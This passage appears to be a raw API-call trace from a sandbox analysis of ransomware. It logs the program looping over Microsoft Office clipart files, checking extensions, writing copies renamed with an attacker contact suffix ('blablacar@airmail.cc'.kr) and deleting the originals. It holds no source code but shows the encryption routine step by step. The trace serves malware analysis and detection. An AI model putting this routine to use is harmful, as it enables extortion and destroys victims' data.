lstrlenW (lpString=".docx") returned 5 [0213.083] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.083] lstrlenW (lpString=".pdf") returned 4 [0213.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.083] lstrlenW (lpString=".xls") returned 4 [0213.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.083] lstrlenW (lpString=".xlsx") returned 5 [0213.083] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.083] lstrlenW (lpString=".ppt") returned 4 [0213.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.083] lstrlenW (lpString=".zip") returned 4 [0213.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.083] lstrlenW (lpString=".rar") returned 4 [0213.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.083] lstrlenW (lpString=".bz2") returned 4 [0213.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.083] lstrlenW (lpString=".7z") returned 3 [0213.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.083] lstrlenW (lpString=".dbf") returned 4 [0213.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.083] lstrlenW (lpString=".1cd") returned 4 [0213.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0213.083] lstrlenW (lpString=".jpg") returned 4 [0213.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.083] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.083] lstrlenW (lpString="J0107512.WMF") returned 12 [0213.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.084] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11404) returned 1 [0213.084] CloseHandle (hObject=0x518) returned 1 [0213.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220 [0213.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.085] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.085] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0213.086] GetLastError () returned 0x0 [0213.086] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2c8c, lpOverlapped=0x0) returned 1 [0213.087] WriteFile (in: hFile=0x378, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2c90, lpOverlapped=0x0) returned 1 [0213.088] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.088] WriteFile (in: hFile=0x378, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.088] SetEndOfFile (hFile=0x378) returned 1 [0213.089] CloseHandle (hObject=0x378) returned 1 [0213.089] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.089] SetEndOfFile (hFile=0x518) returned 1 [0213.091] CloseHandle (hObject=0x518) returned 1 [0213.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.093] lstrlenW (lpString=".doc") returned 4 [0213.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.093] lstrlenW (lpString=".docx") returned 5 [0213.093] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.093] lstrlenW (lpString=".pdf") returned 4 [0213.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.093] lstrlenW (lpString=".xls") returned 4 [0213.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.093] lstrlenW (lpString=".xlsx") returned 5 [0213.093] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.093] lstrlenW (lpString=".ppt") returned 4 [0213.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.093] lstrlenW (lpString=".zip") returned 4 [0213.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.093] lstrlenW (lpString=".rar") returned 4 [0213.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.093] lstrlenW (lpString=".bz2") returned 4 [0213.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.093] lstrlenW (lpString=".7z") returned 3 [0213.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.093] lstrlenW (lpString=".dbf") returned 4 [0213.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.093] lstrlenW (lpString=".1cd") returned 4 [0213.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.094] lstrlenW (lpString=".jpg") returned 4 [0213.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.094] lstrlenW (lpString=".doc") returned 4 [0213.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString=".docx") returned 5 [0213.094] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.094] lstrlenW (lpString=".pdf") returned 4 [0213.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString=".xls") returned 4 [0213.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.094] lstrlenW (lpString=".xlsx") returned 5 [0213.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.094] lstrlenW (lpString=".ppt") returned 4 [0213.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.094] lstrlenW (lpString=".zip") returned 4 [0213.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.094] lstrlenW (lpString=".rar") returned 4 [0213.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString=".bz2") returned 4 [0213.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString=".7z") returned 3 [0213.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.094] lstrlenW (lpString=".dbf") returned 4 [0213.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.094] lstrlenW (lpString=".1cd") returned 4 [0213.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0213.095] lstrlenW (lpString=".jpg") returned 4 [0213.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.095] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.095] lstrlenW (lpString="J0107514.WMF") returned 12 [0213.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.359] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=12204) returned 1 [0213.359] CloseHandle (hObject=0x564) returned 1 [0213.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220 [0213.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.361] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.361] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.363] GetLastError () returned 0x0 [0213.363] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2fac, lpOverlapped=0x0) returned 1 [0213.364] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0213.365] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.365] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.366] SetEndOfFile (hFile=0x4d8) returned 1 [0213.366] CloseHandle (hObject=0x4d8) returned 1 [0213.366] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.366] SetEndOfFile (hFile=0x564) returned 1 [0213.369] CloseHandle (hObject=0x564) returned 1 [0213.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0213.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.370] lstrlenW (lpString=".doc") returned 4 [0213.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.370] lstrlenW (lpString=".docx") returned 5 [0213.370] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.370] lstrlenW (lpString=".pdf") returned 4 [0213.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.370] lstrlenW (lpString=".xls") returned 4 [0213.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.370] lstrlenW (lpString=".xlsx") returned 5 [0213.370] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.370] lstrlenW (lpString=".ppt") returned 4 [0213.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.370] lstrlenW (lpString=".zip") returned 4 [0213.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.370] lstrlenW (lpString=".rar") returned 4 [0213.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.370] lstrlenW (lpString=".bz2") returned 4 [0213.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.370] lstrlenW (lpString=".7z") returned 3 [0213.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString=".dbf") returned 4 [0213.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString=".1cd") returned 4 [0213.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString=".jpg") returned 4 [0213.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString=".doc") returned 4 [0213.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString=".docx") returned 5 [0213.371] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.371] lstrlenW (lpString=".pdf") returned 4 [0213.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString=".xls") returned 4 [0213.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.371] lstrlenW (lpString=".xlsx") returned 5 [0213.371] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.371] lstrlenW (lpString=".ppt") returned 4 [0213.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString=".zip") returned 4 [0213.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.371] lstrlenW (lpString=".rar") returned 4 [0213.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString=".bz2") returned 4 [0213.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.371] lstrlenW (lpString=".7z") returned 3 [0213.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.371] lstrlenW (lpString=".dbf") returned 4 [0213.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.372] lstrlenW (lpString=".1cd") returned 4 [0213.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0213.372] lstrlenW (lpString=".jpg") returned 4 [0213.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.372] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.372] lstrlenW (lpString="J0107526.WMF") returned 12 [0213.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.375] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7948) returned 1 [0213.375] CloseHandle (hObject=0x564) returned 1 [0213.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220 [0213.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.376] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.376] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.377] GetLastError () returned 0x0 [0213.377] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1f0c, lpOverlapped=0x0) returned 1 [0213.378] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1f10, lpOverlapped=0x0) returned 1 [0213.379] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.379] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.379] SetEndOfFile (hFile=0x4d8) returned 1 [0213.379] CloseHandle (hObject=0x4d8) returned 1 [0213.380] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.380] SetEndOfFile (hFile=0x564) returned 1 [0213.382] CloseHandle (hObject=0x564) returned 1 [0213.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0213.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.383] lstrlenW (lpString=".doc") returned 4 [0213.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString=".docx") returned 5 [0213.384] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0213.384] lstrlenW (lpString=".pdf") returned 4 [0213.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString=".xls") returned 4 [0213.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.384] lstrlenW (lpString=".xlsx") returned 5 [0213.384] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0213.384] lstrlenW (lpString=".ppt") returned 4 [0213.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.384] lstrlenW (lpString=".zip") returned 4 [0213.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.384] lstrlenW (lpString=".rar") returned 4 [0213.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString=".bz2") returned 4 [0213.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString=".7z") returned 3 [0213.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.384] lstrlenW (lpString=".dbf") returned 4 [0213.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.384] lstrlenW (lpString=".1cd") returned 4 [0213.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.384] lstrlenW (lpString=".jpg") returned 4 [0213.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.384] lstrlenW (lpString=".doc") returned 4 [0213.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.385] lstrlenW (lpString=".docx") returned 5 [0213.385] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0213.385] lstrlenW (lpString=".pdf") returned 4 [0213.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.385] lstrlenW (lpString=".xls") returned 4 [0213.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.385] lstrlenW (lpString=".xlsx") returned 5 [0213.385] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0213.385] lstrlenW (lpString=".ppt") returned 4 [0213.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned 